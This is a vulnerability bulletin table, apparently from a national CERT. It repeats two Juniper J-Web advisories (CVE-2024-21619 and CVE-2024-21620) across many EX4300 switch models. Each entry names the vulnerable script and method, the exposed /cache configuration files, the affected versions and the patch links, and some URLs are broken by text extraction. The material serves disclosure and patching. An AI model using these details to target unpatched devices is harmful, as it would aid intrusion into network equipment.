Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation.php will echo back the data it receives.	https://support.portal.juniper.net/JSA76390	H-JUN-EX43-090224/1616

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4300-48mp-s					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal	https://supportportal.juniper.net/JSA76390	H-JUN-EX43-090224/1617

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21619		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation.php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10;	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1618

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4300-48p					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1619

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series:		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1620

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4300-48p-s					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access	https://supportportal.juniper.net/JSA76390	H-JUN-EX43-090224/1621

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with	https://supportportal.juniper.net/JSA76390	H-JUN-EX43-090224/1622

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4300-48t					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the	https://supportportal.juniper.net/JSA76390	H-JUN-EX43-090224/1623

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1624

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21620		
Product: ex4300-48t-afi					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file.	https://supportportal.juniper.net/JSA76390	H-JUN-EX43-090224/1625

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21619		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series:	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1626

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4300-48t-dc					
Affected Version(s): -					
Generation of Error Message Containing Sensitive	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1627

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Information			Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site	https://supportportal.juniper.net/JSA76390	H-JUN-EX43-090224/1628

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Web Page Generation ('Cross-site Scripting')			Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4300-48t-dc-afi					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1629

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited	https://support.portal.juniper.net/JSA76390	H-JUN-EX43-090224/1630

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4300-48t-s					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the	https://support.portal.juniper.net/JSA76390	H-JUN-EX43-090224/1631

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator.	https://supportportal.juniper.net/JSA76390	H-JUN-EX43-090224/1632

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2.		

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21620		
Product: ex4300-48tafi					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific	https://support.portal.juniper.net/JSA76390	H-JUN-EX43-090224/1633

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation.php will echo back the data it receives. This issue affects Juniper Networks	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1634

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4300-48tdc					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information.	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1635

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8;	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1636

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4300-48tdc-afi					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1637

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1638

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4300-mp					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information.	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1639

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions,	https://supportportal.juniper.net/JSA76390	H-JUN-EX43-090224/1640

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4300-vc					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1641

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
